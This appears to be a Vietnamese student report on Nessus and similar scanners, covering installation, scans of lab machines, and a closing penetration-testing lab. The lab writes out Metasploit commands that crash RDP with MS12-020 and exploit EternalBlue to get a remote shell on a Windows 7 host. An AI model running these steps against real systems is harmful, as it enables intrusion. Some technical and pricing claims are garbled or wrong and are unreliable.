2.5.2.1 Nessus với mô hình Client – Server Đầu tiên, máy quét lỗ hổng đều dựa trên client Một nhà tư vấn dùng máy tính của mình để vào trang web của khách hàng và đứng ở vị trí tốt nhất trong mạng để tiến hành quét Quét trong bất kì không gian địa chỉ mạng nào có thể mất một ngày hoặc đến vài ngày, phụ thuộc vào chiều rộng của mạng và độ sâu của thông số quét Điều này làm cho máy tính không làm được gì trong thời gian quét Nessus đã đưa ra mô hình client/server để giải quyết vẫn đề trên
Sau khi kết nối đến server, hệ thống sẽ phân tách client để quét lỗ hổng, cho phép client sử dụng tài nguyên cho các công việc khác trong khi chờ hoàn tất Mô hình kiến trúc này mang lại sự linh hoạt trong việc triển khai máy quét (server) và kết nối với giao diện đồ họa của khách hàng (client) từ bất kỳ máy tính nào có trình duyệt web Điều này không chỉ giúp giảm chi phí quản lý mà còn cho phép một máy chủ phục vụ nhiều máy khách cùng lúc.
Mô hình này sẽ dựa vào kết quả kiểm tra từ máy Client và các lỗi đã xác định để nhanh chóng đưa ra hướng giải quyết hiệu quả.
Hình 2-15: Mô hình Client – Server 2.5.2.2 Mô hình Nessus Plugin
Nessus hoạt động dựa trên dữ liệu từ các Plugin, là những chương trình chứa thông tin về lỗ hổng trong hệ thống Các Plugin này được viết bằng NASL (Nessus Attack Scripting Language), cho phép thực hiện các kịch bản kiểm tra lỗ hổng NASL giúp các nhà phân tích an ninh nhanh chóng phát triển Plugin riêng của họ Hiện tại, Nessus sử dụng hơn 55.000 Plugin khác nhau, bao gồm cả lỗ hổng cục bộ và từ xa.
Hình 2-16: Mô hình Nessus Plugin
Các máy Client gửi yêu cầu đến Plugin Nessus đã được cấu hình để xác định Plugin mà họ muốn sử dụng Khi nhận được yêu cầu, Plugin Nessus sẽ quét hệ thống theo kịch bản đã được lập sẵn Sau khi quá trình quét hoàn tất, Plugin Nessus sẽ gửi kết quả quét về cho Client.
2.5.2.3 Mô hình Nessus Knowledge Base
Kiến trúc Knowledge Base cho phép các plugin hiện tại sử dụng dữ liệu từ các plugin trước, tạo thành danh sách thông tin về máy chủ Trong một kiểm tra an ninh, hệ thống sẽ xác định sự tồn tại của máy chủ web và xác minh xem dịch vụ HTTP có đang hoạt động hay không Plugin có khả năng thiết lập giá trị biến trong Knowledge Base của Nessus cho host, trong khi các kịch bản NASL sẽ thực thi để phát hiện Apache đang chạy trên máy chủ từ xa.
Knowledge Base là tập hợp thông tin về máy chủ đang thử nghiệm, giúp chia sẻ dữ liệu về hệ thống đích Nó cho phép kiểm tra thông minh hơn, tối ưu hóa băng thông và khả năng xử lý Ngoài ra, Knowledge Base cũng hỗ trợ các Plugin kế tiếp tận dụng dữ liệu từ các Plugin trước, giúp Nessus mở rộng dễ dàng và tăng tốc độ thực thi.
Khi thực hiện quét kiểm tra lỗi bảo mật trên Server DomainName.com, quá trình kiểm tra cho thấy không có lỗi bảo mật nào Tuy nhiên, Nessus Knowledge Base lại chỉ ra khoảng 2000 lỗi, trong đó có khoảng 1725 lỗi đã được xác thực Những thông số này sẽ được sử dụng cho các nghiên cứu sau để đảm bảo liên tục cập nhật các lỗi bảo mật mới nhất.
Cài đặt Nessus trên môi trường window
- CPU: 4 2GHZ cores (Tối thiểu)
- Bộ nhớ: Tối thiểu 30GB
2.6.2 Cài đặt Đầu tiên ta vào trang https://www.tenable.com/downloads/nessus/ và chấp nhận điều khoản của Tenable Network Security Sau khi chấp nhận điều khoản chúng ta sẽ được đưa đến trang download và tùy chọn cho các phiên bản và các hệ điều hành Ở đây chúng ta cài đặt trên Windows ta sẽ tải gói Nessus-10.1.2-x64.msi.
- Chọn I Accept để chấp nhận điều khoản và Next ->
- Chọn nơi lưu trữ Nessus và chọn Next để tiếp tục
Hình 2-19: Nơi lưu trữ Nessus
Tiến hành tải xuống install ->
Cài đặt xong bấm Finish để hoàn tất quá trình
Hình 2-21: Cài đặt hoàn tất
Cài đặt Nessus trên môi trường Kali Linux
- Kali Linux các phiên bản
- CPU: 4 2GHZ cores (Tối thiểu)
- Bộ nhớ: Tối thiểu 30GB
Để cài đặt công cụ Tenable Nessus trên Kali Linux, bạn cần truy cập trang chủ tải về tại [https://www.tenable.com/downloads/nessus/](https://www.tenable.com/downloads/nessus/) và chấp nhận các điều khoản của Tenable Network Security Sau khi đồng ý, bạn sẽ được chuyển đến trang tải về, nơi có các phiên bản và hệ điều hành khác nhau Từ đó, bạn có thể tiến hành cài đặt Nessus trên Kali Linux.
Hình 2-22: Các phiên bản cài đặt Nessus trên web
Sau khi tải về từ trang chủ, mở Terminal và tiến hành cài đặt Để kiểm tra các thư mục lưu trữ trong thư mục Downloads, bạn có thể sử dụng lệnh: ls /Downloads.
Tiếp theo để cài đặt tả dùng câu lệnh: sudo apt install /Downloads/ Nessus-
Lưu ý: Ta sử dụng quyền sudo cao nhất trong linux và tùy từng phiên bản ta tải về để chọn đường dẫn sau lệnh Download
Hình 2-23: Kiểm tra và cài đặt Nessus trên Linux
Hình 2-24: Hoàn tất cà đặt Nessus trên Linux Để khởi chạy ta dùng lệnh sudo systemctl start nessusd.service
Và tiến hành vào giao diện web client bằng đường dẫn https://kali:8834/
Hình 2-25: Truy cập Nessus web client trên linux
Chọn Advanced và chọn Accept the risk and continue để vào Nessus
Hướng dẫn sử dụng
Directory Nessus Sub-Directoris Purpose
Files\Tenable\Nessus \conf file cấu hình
User knowledgebase saved on disk
\nessus\logs nessus log file Để chạy được Nessus bạn phải thực hiện các bước cấu hình sau đây:
- Đăng ký cho Nessus bằng cách truy cập vào trang nessus.org để nhận được những bản cập nhật.
- Thực hiện một bản cập nhật plugin.
- Cấu hình lựa chọn là máy chủ Nessus hoặc Client.
- Quản lý người dùng Nessus.
- Khởi động hoặc dùng Nessus.
After downloading Nessus for Windows, access it by searching for "Nessus Web Client" in the Start menu or by entering https://localhost:8834 in your browser For Kali Linux, use https://kali:8834/ This will take you to the Nessus web client interface, where you should select "Nessus Essentials" and then click "Continue."
Hình 2-26: Giao diện lựa chọn version Nessus
Tiếp theo ta đăng ký tài khoản nếu chưa có Có rồi ta có thể bỏ qua
Hình 2-27: Đăng ký tài khoản Nessus
Tiếp theo sau khi ta đăng kí chúng ta vào email để nhận activation code
Sau khi nhập activation code xong bước tiếp theo ta tạo username và password
Và submit để hoàn tất đợi Nessus tự động cài đặt plugin
Hình 2-29: Tạo username và password cho Nessus
Giao diện sau khi cài đặt thành công plugin Nessus
Hình 2-30: Giao diện Nessus web client
TRIỂN KHAI NESSUS VÀ MỘT SỐ CÔNG CỤ KHÁC
Mô hình triển khai trên Nessus
Sử dụng công cụ Nessus đã cài đặt để tiến hành kiểm tra lỗ hổng trên một số website và mạng LAN
Xây dựng mô hình quét Nessus gồm có:
- Một máy ảo hệ điều hành Kali Linux hoặc máy thật hệ điều hành Windows 10
- Công cụ Nessus cài đặt trên máy ảo Kali Linux hoặc máy thật window 10 Mạng internet
Hình 3-31: Mô hình triển khai Nessus
Mô hình này sử dụng công cụ Nessus, được cài đặt trên máy ảo chạy hệ điều hành Kali Linux hoặc Windows có kết nối internet Sau khi thực hiện quét, Nessus sẽ thông báo về các lỗ hổng bảo mật trên trang web cần được khắc phục.
Các bước triển khai
3.2.1 Triển khai quét lỗ hổng Website
Bước 1: Trên trang Scan chọn New Scans và sau đó chọn Web Application Test trên trang Scan Templates.
Bước 2: Sau khi chọn Web Application ta điền các thông tin cần thiết
Hình 3-33: Điền các thông tin về Web Application
Bước 3: Đặt phạm vi quét chỉ các cổng mà ứng dụng web đích đang sử dụng Chọn chế độ quét cổng là "ports common" thay vì "all ports" để tiết kiệm thời gian Phần mềm đã mặc định quét các cổng http (cổng 80) và https (cổng 443), nên không cần thiết phải quét tất cả các cổng.
Bước 4: Tùy chỉnh ASSESSMENT ta có các tùy chọn về lỗ hổng quét.
- Chế độ quét lỗ hổng đã biết
- Chế độ quét (quét nhanh)
- Chế độ quét (quét phức tạp)
Hình 3-35: Chế độ quét lỗ hổng
Bước 5: Ngoài ra các mục khác ta để mặc định Sau đó lưu lại
Bước 6: Ở phần My Scan ta chọn Lauch để tiến hành quét
Hình 3-36: Tiến hành quét lỗ hổng
Sau khi hoàn thành các bước như trên thì chúng ta thu được kết quả của quá trình quét ứng dụng
Hình 3-37: Kết quả quét lỗ hổng web Ở tab Vulnerabilities là mức độ nghiêm trọng của lỗ hổng và giải pháp cho lỗ hổng.
Hình 3-38: Độ nghiêm trọng và giải pháp lỗ hổng Ở đây có 4 lỗi ở mức độ trung bình và giải pháp đi kèm là:
- Phiên bản JQuery thấp cần update lên phiên bản 3.5.0
- Có khả năng bị lộ thông tin ứng dụng web Ta cần phải lọc và tìm ra đường dẫn có chứa thông tin.
Để đảm bảo an toàn cho ứng dụng ASP.NET, cần tắt trình debug hoặc chỉ cho phép người dùng có quyền xác thực sử dụng tính năng này.
Mã nguồn CGI Generic HTML có thể bị kiểm soát từ xa, do đó, việc hạn chế quyền truy cập vào các ứng dụng là rất cần thiết Ngoài ra, người dùng cũng nên liên hệ với nhà cung cấp để cập nhật các bản vá bảo mật kịp thời.
Nessus cung cấp kết quả quét trực quan, giúp người dùng và quản trị viên dễ dàng nhận diện số lượng và mức độ nguy hiểm của các lỗ hổng bảo mật Để có thông tin chi tiết hơn về các lỗ hổng trên website, người dùng chỉ cần chuyển đến Tab Vulnerabilities, nơi Nessus cung cấp đầy đủ thông tin như tên lỗ hổng, mức độ nguy hiểm, mô tả và cách khắc phục.
3.2.2 Triển khai quét lỗ hổng của mạng LAN
Cũng giống như quét lỗ hổng như Web application Ở Scan Templates ta chọnBasic Network Scan Ở mục tagets ta điền ip mạng LAN của máy
Hình 3-39: Quét mạng lỗ hổng LAN Để kiểm tra ip LAN ta mở cmd dùng lệnh ipconfig để xem ip của LAN
Hình 3-40: Kiểm tra ip LAN
Sau quá trình dò quét thì thấy có lỗ hổng mức trung bình về chữ ký SMB không yêu cầu
Lỗ hổng mạng LAN được xác định ở mức trung bình do chữ ký SMB không được yêu cầu Để khắc phục tình trạng này, cần thực thi yêu cầu chữ ký SMB.
3.2.3 Triển khai quét khám phá máy chủ( Host discovery )
Để khám phá các địa chỉ và cổng mở, chúng ta sẽ quét toàn bộ dải mạng nhằm tìm kiếm tất cả các host trong mạng Sau đó, tiến hành quét tất cả các cổng để xác định xem các host này có tồn tại lỗ hổng bảo mật hay không.
Sau khi quét xong ta thấy được các ip trong dải mạng và các port mà địa chỉ ip đó đang mở
Hình 3-43: Kết quả của quét host và các port mà host đang mở
3.2.4 Triển khai quét lỗ hổng bằng Advance Scan
Bài Toán đặt ra: Ở chế độ scan này ta quét trên 2 máy cài đặt hệ điều hành Win XP và Win 7
Sau khi quét trên Win 7 thì ta thấy được
3 lỗ hổng nghiêm trọng, 2 lỗ hổng ở mức độ cao, 5 lỗ hổng ở mức độ tầm trung và 1 lỗ hổng thấp
Hình 3-45: Kết quả quét trên win 7
Lỗ hổng ở mức độ nghiêm trọng bao gồm:
Lỗ hổng DNS Resolution Cloud (MS11-030) cho phép hacker thực hiện điều khiển mã từ xa, khiến hệ thống dễ bị tấn công thông qua công cụ Metasploit Để bảo vệ thiết bị khỏi nguy cơ này, người dùng nên nâng cấp lên Windows 10, vì các phiên bản Windows cũ hơn đã không còn được Microsoft hỗ trợ và không nhận được bản cập nhật vá lỗi.
- Lỗ hổng remote trên win 7 không còn được hỗ trợ Do win 7 không còn được hỗ trợ và update nên điều này cũng bị ảnh hưởng
Giải pháp: update Windown 10 trở lên.
Lỗ hổng CVE-2019-0708 trong giao thức Remote Desktop Protocol (RDP) của Microsoft cho phép các hacker tấn công do thiếu xác thực trong quá trình kết nối từ xa, tạo ra nguy cơ bảo mật nghiêm trọng.
Lỗ hổng mức độ cao:
- MS12-020 Lỗ hổng Remote Desktop Cloud cho phép điều khiển code từ xa mà không yêu cầu xác thực
- MS17-010 ( Hay còn gọi là EternalBlue) Lỗ hổng cập nhật bảo mật cho dịch vụ SMB Server
Ngoài ra còn nhiều lỗ hổng bảo mật ở mức độ nghiêm trọng nhỏ hơn.
Hình 3-46: Tạo Scan advance Win 10
Tương tự như win 7 với win xp ta tạo advance để scan win 10 Ở đây phiên bản win 10 được cài đặt là bản win 10 pro version 15063.
Hình 3-47: Kết quả scan advance win 10
Windows 10 là phiên bản cập nhật mới và chính thức của Microsoft, vì vậy nó không còn những lỗ hổng nghiêm trọng và dễ bị tấn công như các phiên bản Windows trước đã ngừng hỗ trợ Hiện tại, chỉ tồn tại một lỗ hổng duy nhất liên quan đến chữ ký SMB (SMB Signing).
3.2.4.3 Quét Advance trên Win Server2016
Hình 3-48: Advance Scan Window Server 2016
Máy ảo Window Server có địa chỉ 192.168.0.134 ta tiến hành triển khai quét khai thác lỗ hổng
Hình 3-49: Kết quá Advance của Window Server 2016
Windows Server 2016 cũng gặp phải lỗ hổng nghiêm trọng MS17-010 EternalBlue, cho phép kẻ tấn công điều khiển từ xa thông qua giao thức SMB.
Giải pháp là update hoặc đối với smb qua NetBIOS ta chặn port 137/139 của TCP và 137/138 của UDP trên các thiết bị ranh giới với mạng LAN.
Ngoài ra ta thấy lỗ hổng duy nhất về SMB Signing chữ ký SMB như phiên bảnWindow 10
Hình 3-50: Quét Advance máy Kali Linux
Ta triển khai quét bảo mật trên hệ điều hành Linux ở đây là Kali Linux có địa chỉ ip là 192.168.0.129
Kết quả quét trên hệ điều hành Kali Linux cho thấy hệ thống này khá an toàn, chỉ phát hiện 2 lỗ hổng bảo mật mức độ trung liên quan đến chứng nhận SSL Để khắc phục, người dùng chỉ cần mua thiết bị phù hợp để đảm bảo không bị ảnh hưởng.
Linux là hệ điều hành mã nguồn mở, cho phép người dùng tự do sử dụng và sửa đổi Nhờ vào việc cập nhật thường xuyên, Linux duy trì tính bảo mật cao và hạn chế các lỗ hổng nghiêm trọng.
Công cụ nmap
Nmap là một công cụ quét lỗ hổng bảo mật hiệu quả, nổi bật với khả năng tìm kiếm lỗ hổng một cách chính xác Đặc biệt, Nmap là phần mềm mã nguồn mở, cho phép người dùng tùy chỉnh và phát triển theo nhu cầu của mình.
Công cụ nmap có thể sử dụng trên cả hệ điều hành window và linux Đối với giao diện window ta sẽ sử dụng giao diện graphics
Hình 3-52: Giao diện của nmap trên window
Còn giao diện trên linux thì sử dụng CLI giao diện dòng lệnh
Hình 3-53: Giao diện CLI dòng lệnh của linux
Ta quét thử zenmap ip 192.168.0.128 của máy window 7 ta thấy được các port tcp và thông số phiên bản đang mở trên window 7
Hình 3-54: Quét bằng nmap window(zenmap)
Bên nmap giao diện CLI trên linux ở đây ta dùng câu lệnh: sudo nmap –T4 –F
192.168.0.0/24 ở đây ta quét nhanh chỉ lấy thông tin port đang mở trên dải mạng nội bộ
Hình 3-55: Scan lỗ hổng trên dải mạng nội bộ trên Kali Linux
Công cụ OpenVAS
OpenVAS là một công cụ quét lỗ hổng mã nguồn mở, tương tự như Nessus, được cài đặt trên hệ điều hành Linux và sử dụng giao diện web để quản lý.
OpenVAS là một công cụ quét bảo mật mạnh mẽ, hiện chỉ hỗ trợ trên hệ điều hành Linux và chưa có phiên bản cho Windows Giao diện Web UI của OpenVAS khi khởi động cung cấp cho người dùng trải nghiệm trực quan và dễ sử dụng.
Công cụ Raid7 Nexpose
Raid7 Nexpose là một công cụ quét lỗ hổng bảo mật tương tự như các công cụ khác, hỗ trợ cả hệ điều hành Windows và Linux Tuy nhiên, điểm bất tiện là đây là công cụ trả phí và không có phiên bản miễn phí như Nessus, do đó người dùng cần phải có bản quyền để sử dụng đầy đủ tính năng của nó.
Điểm đáng chú ý của Nessus so các công cụ khác
Nmap là công cụ quét cổng và lỗ hổng bảo mật, chủ yếu nhằm phát hiện điểm yếu trong mạng hoặc máy client để hỗ trợ quản trị viên và hacker mũ trắng trong việc khắc phục lỗi, trong khi hacker mũ đen có thể lợi dụng để tấn công So với Nessus, Nmap nổi trội hơn trong việc khai thác lỗ hổng, nhưng Nessus lại phù hợp hơn cho quản trị và giám sát hệ thống Hai công cụ còn lại tương tự như Nessus, đều là trình quét quản lý với giao diện Web UI.
Nessus được người dùng đánh giá là dễ sử dụng với các chế độ quét đơn giản, phù hợp cho cả người mới và những người có kinh nghiệm Ngược lại, OpenVAS và Nexpose có các chế độ quét phức tạp hơn, yêu cầu người dùng phải cấu hình kỹ lưỡng cho từng đối tượng quét.
Nessus là công cụ quét bảo mật phổ biến nhất với một cộng đồng người dùng lớn, bao gồm cả cá nhân và doanh nghiệp Trong khi đó, Nexpose lại ít được sử dụng nhất trong số ba công cụ quét bảo mật OpenVAS có số lượng người dùng ở mức trung bình, không quá nổi bật nhưng cũng không quá ít.
Cộng đồng không quá lớn như Nessus
Nessus cung cấp hai phiên bản: phiên bản miễn phí với giới hạn quét 16 IP và một số tính năng bị hạn chế, phù hợp cho cá nhân và sinh viên, và phiên bản trả phí với giá 3400$/năm Nessus tương thích với hầu hết các hệ điều hành như Windows, Linux và Mac OS Trong khi đó, OpenVAS là công cụ mã nguồn mở hoàn toàn miễn phí, nhưng hiện chỉ hỗ trợ phiên bản cho Linux.
Nexpose hiện chỉ hỗ trợ phiên bản trả phí, cho phép người dùng đăng ký dùng thử trong một vài ngày Chi phí sử dụng Nexpose được tính dựa trên số lượng IP quét, cụ thể là 24$/năm cho 500 IP Phần mềm này tương thích với hầu hết các hệ điều hành phổ biến, không bị hạn chế về mặt hệ điều hành, tuy nhiên, Windows và Mac OS chưa được hỗ trợ.
Nessus cung cấp hơn 30 chế độ quét lỗ hổng trong phiên bản trả phí, mang lại nhiều lựa chọn cho người dùng Trong khi đó, OpenVAS và Nexpose chỉ có số lượng chế độ quét hạn chế, chủ yếu tập trung vào các chế độ cơ bản.
Penetration Testing( Kiểm thử thâm nhập)
Đối với hầu hết các hệ thống quá trình Pentest là không thể thiếu để phân tích và khắc phục lỗ hổng.
- 1 máy tấn công cài đặt hệ điều hành Kali Linux để sử dụng công cụ Metasploit
(công cụ tích hợp sẵn trên Kali Linux )
- 1 máy cài đặt hệ điều hành Window 7 (phiên bản hiện nay còn có nhiều người dùng và có mã lỗi dễ bị tấn công)
- 2 máy được đặt trong cùng 1 mạng LAN
- Window 7 đã được tắt tường lửa để dễ dàng kiểm thử.
Nessus Window 7 Kali Linux Window 7
3.7.1 CVE MS12-020 Ở lần quét trước đó đối với phiên bản win 7 Ta có tìm thấy lỗ hổng nghiêm trọng là MS12-020 Lỗ hổng Remote Desktop Cloud cho phép điều khiển code từ xa mà không yêu cầu xác thực.
Cách thức thực hiện: Đối với lỗ hổng này ta sử dụng công cụ Metasploit có sẵn trên Kali Linux hoặc cài đặt trên Windows.
Sử dụng Nmap để quét cổng trên hệ điều hành Windows 7, chúng ta có thể kiểm tra các lỗ hổng bảo mật Trong trường hợp cần quét toàn bộ dải mạng, việc tìm kiếm máy có lỗ hổng sẽ trở nên cần thiết Ví dụ, máy tính Windows 7 với địa chỉ IP 192.168.0.128 có thể được quét để phát hiện các vấn đề bảo mật.
Hình 3-58: Quét cổng nmap trên win7
Ta thấy được rằng cổng 3389 trên win7 đang mở.
Tiếp theo ta bắt đầu khai thác bằng công cụ metasploit
Để thực hiện tấn công khai thác, ta sử dụng lệnh sau: `use auxiliary/dos/windows/rdp/ms12_020_maxchannelids` Tiếp theo, thiết lập địa chỉ IP của máy nạn nhân bằng lệnh `set rhost 192.168.0.128` và địa chỉ IP của máy tấn công bằng lệnh `set lhost 192.168.0.133`.
Hình 3-60: Setup tấn công máy Window 7
Hình 3-61: Kết quả khi ta tấn công máy Window 7
Lỗ hổng này có mức độ nghiêm trọng cao trên Windows 7 Để kiểm tra xem một số máy khác có bị ảnh hưởng bởi CVE này hay không, người dùng có thể sử dụng lệnh nmap: nmap -vv -Pn -T4 script vuln [ip máy cần quét].
Hình 3-62: Check lỗ hổng MS17-010 bằng nmap
Ms17-010 như mô tả trong phần kết quả Nmap scan là một lỗ hổng xuất phát từ server SMBv1 của Windows và SMB thường sử dụng port 139 hoặc 445
To verify the findings, we can use Metasploit with the following command: `use auxiliary/scanner/smb/smb_ms17_010` To view the available commands in this mode, type `options` Then, set the target host by executing `set rhosts 192.168.0.128` and run the scan with the command `run`.
Ta dùng lệnh: search ms17-010 để tìm module tấn công
Hình 3-64: Tìm module tấn công lỗ hổng ms17-010 use exploit/windows/smb/ms17_010_eternalblue set rhost 192.168.0.128 set lhost 192.168.0.133 set lport 8888 run
Hình 3-65: Đã chiếm được quyền điều khiển tử xa của win7
Sau khi hoàn thành ta có thể thấy chúng ta đã có thể chiếm quyền điều khiển từ xa trên máy Win7.
Từ câu lệnh: whoami ( check xem có được ở quyền cao nhất không )
Systeminfo ( check thông tin máy chúng ta chiếm quyền )
Mkdir ( tạo thư mục)
Rmdir ( xóa thư mục)
Type nul > tenfile ( tạo file txt)